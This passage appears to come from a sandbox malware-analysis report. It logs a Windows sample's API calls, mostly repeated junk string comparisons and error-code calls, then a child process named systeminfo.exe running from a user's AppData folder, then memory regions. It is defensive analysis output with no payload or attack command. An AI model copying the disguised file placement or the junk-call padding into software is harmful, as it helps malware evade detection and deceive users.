param_2="%X%P" | out: param_1="1FDCP") returned 5 [0121.738] SetLastError (dwErrCode=0x57) [0121.738] GetCurrentProcessId () returned 0x5d8 [0121.738] GetCurrentProcessId () returned 0x5d8 [0121.738] GetCurrentProcessId () returned 0x5d8 [0121.738] GetCurrentProcessId () returned 0x5d8 [0121.738] lstrlenA (lpString="just string") returned 11 [0121.738] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.738] GetLastError () returned 0x57 [0121.738] GetCurrentProcessId () returned 0x5d8 [0121.738] GetCurrentProcessId () returned 0x5d8 [0121.738] GetCurrentProcessId () returned 0x5d8 [0121.738] lstrlenA (lpString="just string") returned 11 [0121.738] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.738] GetLastError () returned 0x57 [0121.738] lstrlenA (lpString="just string") returned 11 [0121.738] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.739] GetLastError () returned 0x57 [0121.739] GetLastError () returned 0x57 [0121.739] GetLastError () returned 0x57 [0121.739] GetCurrentProcessId () returned 0x5d8 [0121.739] GetCurrentProcessId () returned 0x5d8 [0121.739] GetCurrentProcessId () returned 0x5d8 [0121.739] lstrlenA (lpString="just string") returned 11 [0121.739] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.739] GetLastError () returned 0x57 [0121.739] GetCurrentProcessId () returned 0x5d8 [0121.739] lstrlenA (lpString="just string") returned 11 [0121.739] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.739] GetLastError () returned 0x57 [0121.739] GetCurrentProcessId () returned 0x5d8 [0121.739] lstrlenA (lpString="just string") returned 11 [0121.739] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.739] GetLastError () returned 0x57 [0121.739] GetCurrentProcess () returned 0xffffffff [0121.739] GetLastError () returned 0x57 [0121.739] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="2111P") returned 5 [0121.739] SetLastError (dwErrCode=0x57) [0121.739] GetCurrentProcessId () returned 0x5d8 [0121.739] GetLastError () returned 0x57 [0121.739] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="2112P") returned 5 [0121.739] SetLastError (dwErrCode=0x57) [0121.739] GetCurrentProcessId () returned 0x5d8 [0121.739] GetCurrentProcessId () returned 0x5d8 [0121.739] GetCurrentProcessId () returned 0x5d8 [0121.739] GetCurrentProcessId () returned 0x5d8 [0121.739] lstrlenA (lpString="just string") returned 11 [0121.739] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.739] GetLastError () returned 0x57 [0121.739] lstrlenA (lpString="just string") returned 11 [0121.739] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.739] GetLastError () returned 0x57 [0121.739] GetLastError () returned 0x57 [0121.739] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.739] SetLastError (dwErrCode=0x57) [0121.739] GetCurrentProcess () returned 0xffffffff [0121.739] GetLastError () returned 0x57 [0121.739] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="216AP") returned 5 [0121.739] SetLastError (dwErrCode=0x57) [0121.739] GetCurrentProcessId () returned 0x5d8 [0121.739] GetCurrentProcess () returned 0xffffffff [0121.739] GetLastError () returned 0x57 [0121.739] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="216BP") returned 5 [0121.740] SetLastError (dwErrCode=0x57) [0121.740] GetCurrentProcessId () returned 0x5d8 [0121.740] GetLastError () returned 0x57 [0121.740] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="216CP") returned 5 [0121.740] SetLastError (dwErrCode=0x57) [0121.740] GetCurrentProcessId () returned 0x5d8 [0121.740] GetCurrentProcessId () returned 0x5d8 [0121.740] GetCurrentProcessId () returned 0x5d8 [0121.740] GetCurrentProcessId () returned 0x5d8 [0121.740] lstrlenA (lpString="just string") returned 11 [0121.740] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.740] GetLastError () returned 0x57 [0121.740] GetLastError () returned 0x57 [0121.740] GetLastError () returned 0x57 [0121.740] GetLastError () returned 0x57 [0121.740] GetLastError () returned 0x57 [0121.740] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="2220P") returned 5 [0121.740] SetLastError (dwErrCode=0x57) [0121.740] GetCurrentProcessId () returned 0x5d8 [0121.740] GetCurrentProcessId () returned 0x5d8 [0121.740] GetCurrentProcessId () returned 0x5d8 [0121.740] GetCurrentProcessId () returned 0x5d8 [0121.740] lstrlenA (lpString="just string") returned 11 [0121.740] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.740] GetLastError () returned 0x57 [0121.740] GetLastError () returned 0x57 [0121.740] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0121.740] SetLastError (dwErrCode=0x57) [0121.740] GetCurrentProcess () returned 0xffffffff [0121.740] GetLastError () returned 0x57 [0121.740] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="223CP") returned 5 [0121.740] SetLastError (dwErrCode=0x57) [0121.740] GetCurrentProcessId () returned 0x5d8 [0121.740] GetCurrentProcess () returned 0xffffffff [0121.740] GetLastError () returned 0x57 [0121.740] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="223DP") returned 5 [0121.740] SetLastError (dwErrCode=0x57) [0121.740] GetCurrentProcessId () returned 0x5d8 [0121.740] GetLastError () returned 0x57 [0121.740] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="223EP") returned 5 [0121.740] SetLastError (dwErrCode=0x57) [0121.740] GetCurrentProcessId () returned 0x5d8 [0121.740] GetCurrentProcessId () returned 0x5d8 [0121.740] GetCurrentProcessId () returned 0x5d8 [0121.740] GetCurrentProcessId () returned 0x5d8 [0121.740] lstrlenA (lpString="just string") returned 11 [0121.740] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.740] GetLastError () returned 0x57 [0121.740] GetLastError () returned 0x57 [0121.740] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.740] SetLastError (dwErrCode=0x57) [0121.740] GetCurrentProcess () returned 0xffffffff [0121.741] GetLastError () returned 0x57 [0121.741] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="226EP") returned 5 [0121.741] SetLastError (dwErrCode=0x57) [0121.741] GetCurrentProcessId () returned 0x5d8 [0121.741] GetCurrentProcess () returned 0xffffffff [0121.741] GetLastError () returned 0x57 [0121.741] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="226FP") returned 5 [0121.741] SetLastError (dwErrCode=0x57) [0121.741] GetCurrentProcessId () returned 0x5d8 [0121.741] GetLastError () returned 0x57 [0121.741] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="2270P") returned 5 [0121.741] SetLastError (dwErrCode=0x57) [0121.741] GetCurrentProcessId () returned 0x5d8 [0121.741] GetCurrentProcessId () returned 0x5d8 [0121.741] GetCurrentProcessId () returned 0x5d8 [0121.741] GetCurrentProcessId () returned 0x5d8 [0121.741] lstrlenA (lpString="just string") returned 11 [0121.741] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.741] GetLastError () returned 0x57 [0121.741] GetLastError () returned 0x57 [0121.741] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.741] SetLastError (dwErrCode=0x57) [0121.741] GetCurrentProcess () returned 0xffffffff [0121.741] GetLastError () returned 0x57 [0121.741] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="228CP") returned 5 [0121.741] SetLastError (dwErrCode=0x57) [0121.741] GetCurrentProcessId () returned 0x5d8 [0121.741] GetCurrentProcess () returned 0xffffffff [0121.741] GetLastError () returned 0x57 [0121.741] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="228DP") returned 5 [0121.741] SetLastError (dwErrCode=0x57) [0121.741] GetCurrentProcessId () returned 0x5d8 [0121.741] GetLastError () returned 0x57 [0121.741] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="228EP") returned 5 [0121.741] SetLastError (dwErrCode=0x57) [0121.741] GetCurrentProcessId () returned 0x5d8 [0121.741] GetCurrentProcessId () returned 0x5d8 [0121.741] GetCurrentProcessId () returned 0x5d8 [0121.741] GetCurrentProcessId () returned 0x5d8 [0121.741] lstrlenA (lpString="just string") returned 11 [0121.741] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.741] GetLastError () returned 0x57 [0121.741] GetLastError () returned 0x57 [0121.741] GetCurrentProcessId () returned 0x5d8 [0121.741] GetCurrentProcessId () returned 0x5d8 [0121.741] lstrlenA (lpString="just string") returned 11 [0121.741] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.741] GetLastError () returned 0x57 [0121.741] GetLastError () returned 0x57 [0121.741] GetLastError () returned 0x57 [0121.741] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.741] SetLastError (dwErrCode=0x57) [0121.741] GetCurrentProcess () returned 0xffffffff [0121.741] GetLastError () returned 0x57 [0121.741] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="2354P") returned 5 [0121.742] SetLastError (dwErrCode=0x57) [0121.742] GetCurrentProcessId () returned 0x5d8 [0121.742] GetCurrentProcess () returned 0xffffffff [0121.742] GetLastError () returned 0x57 [0121.742] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="2355P") returned 5 [0121.742] SetLastError (dwErrCode=0x57) [0121.742] GetCurrentProcessId () returned 0x5d8 [0121.742] GetLastError () returned 0x57 [0121.742] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="2356P") returned 5 [0121.742] SetLastError (dwErrCode=0x57) [0121.742] GetCurrentProcessId () returned 0x5d8 [0121.742] GetCurrentProcessId () returned 0x5d8 [0121.742] GetCurrentProcessId () returned 0x5d8 [0121.742] GetCurrentProcessId () returned 0x5d8 [0121.742] lstrlenA (lpString="just string") returned 11 [0121.742] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.742] GetLastError () returned 0x57 [0121.742] GetCurrentProcessId () returned 0x5d8 [0121.742] lstrlenA (lpString="just string") returned 11 [0121.742] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.742] GetLastError () returned 0x57 [0121.742] GetLastError () returned 0x57 [0121.742] GetLastError () returned 0x57 [0121.742] GetLastError () returned 0x57 [0121.742] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="23D8P") returned 5 [0121.742] SetLastError (dwErrCode=0x57) [0121.742] GetCurrentProcessId () returned 0x5d8 [0121.742] GetCurrentProcessId () returned 0x5d8 [0121.742] GetCurrentProcessId () returned 0x5d8 [0121.742] GetCurrentProcessId () returned 0x5d8 [0121.742] lstrlenA (lpString="just string") returned 11 [0121.742] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.742] GetLastError () returned 0x57 [0121.742] GetCurrentProcess () returned 0xffffffff [0121.742] GetLastError () returned 0x57 [0121.742] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="23E1P") returned 5 [0121.742] SetLastError (dwErrCode=0x57) [0121.742] GetCurrentProcessId () returned 0x5d8 [0121.742] GetLastError () returned 0x57 [0121.742] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="23E2P") returned 5 [0121.742] SetLastError (dwErrCode=0x57) [0121.742] GetCurrentProcessId () returned 0x5d8 [0121.742] GetCurrentProcessId () returned 0x5d8 [0121.742] GetCurrentProcessId () returned 0x5d8 [0121.742] GetCurrentProcessId () returned 0x5d8 [0121.742] lstrlenA (lpString="just string") returned 11 [0121.742] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.742] GetLastError () returned 0x57 [0121.742] GetCurrentProcessId () returned 0x5d8 [0121.742] lstrlenA (lpString="just string") returned 11 [0121.742] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.742] GetLastError () returned 0x57 [0121.742] GetCurrentProcess () returned 0xffffffff [0121.742] GetLastError () returned 0x57 [0121.742] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="2463P") returned 5 [0121.742] SetLastError (dwErrCode=0x57) [0121.742] GetCurrentProcessId () returned 0x5d8 [0121.742] GetLastError () returned 0x57 [0121.742] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="2464P") returned 5 [0121.742] SetLastError (dwErrCode=0x57) [0121.742] GetCurrentProcessId () returned 0x5d8 [0121.742] GetCurrentProcessId () returned 0x5d8 [0121.742] GetCurrentProcessId () returned 0x5d8 [0121.742] GetCurrentProcessId () returned 0x5d8 [0121.742] lstrlenA (lpString="just string") returned 11 [0121.742] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.743] GetLastError () returned 0x57 [0121.743] lstrlenA (lpString="just string") returned 11 [0121.743] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.743] GetLastError () returned 0x57 [0121.743] GetLastError () returned 0x57 [0121.743] GetLastError () returned 0x57 [0121.743] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.743] SetLastError (dwErrCode=0x57) [0121.743] GetCurrentProcess () returned 0xffffffff [0121.743] GetLastError () returned 0x57 [0121.743] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="24BCP") returned 5 [0121.743] SetLastError (dwErrCode=0x57) [0121.743] GetCurrentProcessId () returned 0x5d8 [0121.743] GetCurrentProcess () returned 0xffffffff [0121.743] GetLastError () returned 0x57 [0121.743] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="24BDP") returned 5 [0121.743] SetLastError (dwErrCode=0x57) [0121.743] GetCurrentProcessId () returned 0x5d8 [0121.743] GetLastError () returned 0x57 [0121.743] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="24BEP") returned 5 [0121.743] SetLastError (dwErrCode=0x57) [0121.743] GetCurrentProcessId () returned 0x5d8 [0121.743] GetCurrentProcessId () returned 0x5d8 [0121.743] GetCurrentProcessId () returned 0x5d8 [0121.743] GetCurrentProcessId () returned 0x5d8 [0121.743] lstrlenA (lpString="just string") returned 11 [0121.743] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.743] GetLastError () returned 0x57 [0121.743] GetCurrentProcess () returned 0xffffffff [0121.743] GetLastError () returned 0x57 [0121.743] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="24E5P") returned 5 [0121.743] SetLastError (dwErrCode=0x57) [0121.743] GetCurrentProcessId () returned 0x5d8 [0121.743] GetLastError () returned 0x57 [0121.743] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="24E6P") returned 5 [0121.743] SetLastError (dwErrCode=0x57) [0121.743] GetCurrentProcessId () returned 0x5d8 [0121.743] GetCurrentProcessId () returned 0x5d8 [0121.743] GetCurrentProcessId () returned 0x5d8 [0121.743] GetCurrentProcessId () returned 0x5d8 [0121.743] lstrlenA (lpString="just string") returned 11 [0121.743] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.743] GetLastError () returned 0x57 [0121.743] lstrlenA (lpString="just string") returned 11 [0121.743] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.743] GetLastError () returned 0x57 [0121.743] GetLastError () returned 0x57 [0121.743] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="255EP") returned 5 [0121.743] SetLastError (dwErrCode=0x57) [0121.743] GetCurrentProcessId () returned 0x5d8 [0121.743] GetCurrentProcessId () returned 0x5d8 [0121.743] GetCurrentProcessId () returned 0x5d8 [0121.743] GetCurrentProcessId () returned 0x5d8 [0121.743] lstrlenA (lpString="just string") returned 11 [0121.743] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.743] GetLastError () returned 0x57 [0121.743] lstrlenA (lpString="just string") returned 11 [0121.743] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.743] GetLastError () returned 0x57 [0121.743] GetLastError () returned 0x57 [0121.744] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.744] SetLastError (dwErrCode=0x57) [0121.744] GetCurrentProcess () returned 0xffffffff [0121.744] GetLastError () returned 0x57 [0121.744] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="25CAP") returned 5 [0121.744] SetLastError (dwErrCode=0x57) [0121.744] GetCurrentProcessId () returned 0x5d8 [0121.744] GetCurrentProcess () returned 0xffffffff [0121.744] GetLastError () returned 0x57 [0121.744] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="25CBP") returned 5 [0121.744] SetLastError (dwErrCode=0x57) [0121.744] GetCurrentProcessId () returned 0x5d8 [0121.744] GetLastError () returned 0x57 [0121.744] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="25CCP") returned 5 [0121.744] SetLastError (dwErrCode=0x57) [0121.744] GetCurrentProcessId () returned 0x5d8 [0121.744] GetCurrentProcessId () returned 0x5d8 [0121.744] GetCurrentProcessId () returned 0x5d8 [0121.744] GetCurrentProcessId () returned 0x5d8 [0121.744] lstrlenA (lpString="just string") returned 11 [0121.744] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.744] GetLastError () returned 0x57 [0121.744] GetCurrentProcessId () returned 0x5d8 [0121.744] lstrlenA (lpString="just string") returned 11 [0121.744] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.744] GetLastError () returned 0x57 [0121.744] GetLastError () returned 0x57 [0121.744] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.744] SetLastError (dwErrCode=0x57) [0121.744] GetCurrentProcess () returned 0xffffffff [0121.744] GetLastError () returned 0x57 [0121.744] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="25FCP") returned 5 [0121.744] SetLastError (dwErrCode=0x57) [0121.744] GetCurrentProcessId () returned 0x5d8 [0121.744] GetCurrentProcess () returned 0xffffffff [0121.744] GetLastError () returned 0x57 [0121.744] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="25FDP") returned 5 [0121.744] SetLastError (dwErrCode=0x57) [0121.744] GetCurrentProcessId () returned 0x5d8 [0121.744] GetLastError () returned 0x57 [0121.744] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="25FEP") returned 5 [0121.744] SetLastError (dwErrCode=0x57) [0121.744] GetCurrentProcessId () returned 0x5d8 [0121.744] GetCurrentProcessId () returned 0x5d8 [0121.744] GetCurrentProcessId () returned 0x5d8 [0121.744] GetCurrentProcessId () returned 0x5d8 [0121.744] lstrlenA (lpString="just string") returned 11 [0121.744] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.744] GetLastError () returned 0x57 [0121.744] GetLastError () returned 0x57 [0121.744] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0121.744] SetLastError (dwErrCode=0x57) [0121.744] GetCurrentProcess () returned 0xffffffff [0121.744] GetLastError () returned 0x57 [0121.744] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="2638P") returned 5 [0121.744] SetLastError (dwErrCode=0x57) [0121.744] GetCurrentProcessId () returned 0x5d8 [0121.745] GetCurrentProcess () returned 0xffffffff [0121.745] GetLastError () returned 0x57 [0121.745] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="2639P") returned 5 [0121.745] SetLastError (dwErrCode=0x57) [0121.745] GetCurrentProcessId () returned 0x5d8 [0121.745] GetLastError () returned 0x57 [0121.745] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="263AP") returned 5 [0121.745] SetLastError (dwErrCode=0x57) [0121.745] GetCurrentProcessId () returned 0x5d8 [0121.745] GetCurrentProcessId () returned 0x5d8 [0121.745] GetCurrentProcessId () returned 0x5d8 [0121.745] GetCurrentProcessId () returned 0x5d8 [0121.745] lstrlenA (lpString="just string") returned 11 [0121.745] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.745] GetLastError () returned 0x57 [0121.745] GetLastError () returned 0x57 [0121.745] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.745] SetLastError (dwErrCode=0x57) [0121.745] GetCurrentProcess () returned 0xffffffff [0121.745] GetLastError () returned 0x57 [0121.745] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="2674P") returned 5 [0121.745] SetLastError (dwErrCode=0x57) [0121.745] GetCurrentProcessId () returned 0x5d8 [0121.745] GetCurrentProcess () returned 0xffffffff [0121.745] GetLastError () returned 0x57 [0121.745] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="2675P") returned 5 [0121.745] SetLastError (dwErrCode=0x57) [0121.745] GetCurrentProcessId () returned 0x5d8 [0121.745] GetLastError () returned 0x57 [0121.745] lstrlenA (lpString="just string") returned 11 [0121.745] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.745] GetLastError () returned 0x57 [0121.745] GetCurrentProcessId () returned 0x5d8 [0121.745] GetCurrentProcessId () returned 0x5d8 [0121.745] GetCurrentProcessId () returned 0x5d8 [0121.745] lstrlenA (lpString="just string") returned 11 [0121.745] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.745] GetLastError () returned 0x57 [0121.745] GetLastError () returned 0x57 [0121.745] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0121.745] SetLastError (dwErrCode=0x57) [0121.745] GetCurrentProcess () returned 0xffffffff [0121.745] GetLastError () returned 0x57 [0121.745] lstrlenA (lpString="just string") returned 11 [0121.745] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.745] GetLastError () returned 0x57 [0121.745] GetLastError () returned 0x57 [0121.745] lstrlenA (lpString="just string") returned 11 [0121.745] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.745] GetLastError () returned 0x57 [0121.745] GetCurrentProcessId () returned 0x5d8 [0121.745] lstrlenA (lpString="just string") returned 11 [0121.745] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.745] GetLastError () returned 0x57 [0121.745] GetCurrentProcessId () returned 0x5d8 [0121.746] lstrlenA (lpString="just string") returned 11 [0121.746] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.746] GetLastError () returned 0x57 [0121.746] GetCurrentProcess () returned 0xffffffff [0121.746] GetLastError () returned 0x57 [0121.746] lstrlenA (lpString="just string") returned 11 [0121.746] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.746] GetLastError () returned 0x57 [0121.746] GetCurrentProcessId () returned 0x5d8 [0121.746] GetCurrentProcessId () returned 0x5d8 [0121.746] lstrlenA (lpString="just string") returned 11 [0121.746] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.746] lstrlenA (lpString="just string") returned 11 [0121.746] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.746] lstrlenA (lpString="just string") returned 11 [0121.746] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.746] lstrlenA (lpString="just string") returned 11 [0121.746] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.746] lstrlenA (lpString="just string") returned 11 [0121.746] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.746] lstrlenA (lpString="just string") returned 11 [0121.746] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.746] lstrlenA (lpString="just string") returned 11 [0121.746] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.746] lstrlenA (lpString="just string") returned 11 [0121.746] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.746] lstrlenA (lpString="just string") returned 11 [0121.746] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.746] lstrlenA (lpString="just string") returned 11 [0121.746] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.746] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.746] SetLastError (dwErrCode=0x57) [0121.746] GetCurrentProcess () returned 0xffffffff [0121.746] GetLastError () returned 0x57 [0121.746] lstrlenA (lpString="just string") returned 11 [0121.746] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.746] lstrlenA (lpString="just string") returned 11 [0121.746] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.746] lstrlenA (lpString="just string") returned 11 [0121.746] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.746] lstrlenA (lpString="just string") returned 11 [0121.746] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.746] lstrlenA (lpString="just string") returned 11 [0121.746] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.746] lstrlenA (lpString="just string") returned 11 [0121.746] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.746] lstrlenA (lpString="just string") returned 11 [0121.746] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.746] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.747] SetLastError (dwErrCode=0x57) [0121.747] GetCurrentProcess () returned 0xffffffff [0121.747] GetLastError () returned 0x57 [0121.747] lstrlenA (lpString="just string") returned 11 [0121.747] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.747] lstrlenA (lpString="just string") returned 11 [0121.747] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.747] lstrlenA (lpString="just string") returned 11 [0121.747] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.747] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.747] SetLastError (dwErrCode=0x57) [0121.747] GetCurrentProcess () returned 0xffffffff [0121.747] GetLastError () returned 0x57 [0121.747] lstrlenA (lpString="just string") returned 11 [0121.747] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.747] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0121.747] SetLastError (dwErrCode=0x57) [0121.747] GetCurrentProcess () returned 0xffffffff [0121.747] GetLastError () returned 0x57 [0121.747] lstrlenA (lpString="just string") returned 11 [0121.747] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.747] lstrlenA (lpString="just string") returned 11 [0121.747] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.747] lstrlenA (lpString="just string") returned 11 [0121.747] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.747] lstrlenA (lpString="just string") returned 11 [0121.747] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.747] lstrlenA (lpString="just string") returned 11 [0121.748] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.748] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.748] SetLastError (dwErrCode=0x57) [0121.748] GetCurrentProcess () returned 0xffffffff [0121.748] GetLastError () returned 0x57 [0121.748] lstrlenA (lpString="just string") returned 11 [0121.748] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.748] lstrlenA (lpString="just string") returned 11 [0121.748] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.748] lstrlenA (lpString="just string") returned 11 [0121.748] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.748] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.748] SetLastError (dwErrCode=0x57) [0121.748] GetCurrentProcess () returned 0xffffffff [0121.748] GetLastError () returned 0x57 [0121.748] lstrlenA (lpString="just string") returned 11 [0121.748] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.748] lstrlenA (lpString="just string") returned 11 [0121.748] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.748] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.748] SetLastError (dwErrCode=0x57) [0121.748] GetCurrentProcess () returned 0xffffffff [0121.748] GetLastError () returned 0x57 [0121.748] lstrlenA (lpString="just string") returned 11 [0121.748] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.748] lstrlenA (lpString="just string") returned 11 [0121.748] lstrcmpA (lpString1="face", lpString2="book") returned 1 Process: id = "14" image_name = "systeminfo.exe" filename = "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe" page_root = "0x628ca000" os_pid = "0x79c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0x5d8" cmd_line = "\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f544" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2645 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2646 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2647 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2648 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2649 start_va = 0x60000 end_va = 0x61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2650 start_va = 0x70000 end_va = 0xaffff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 2651 start_va = 0x110000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = 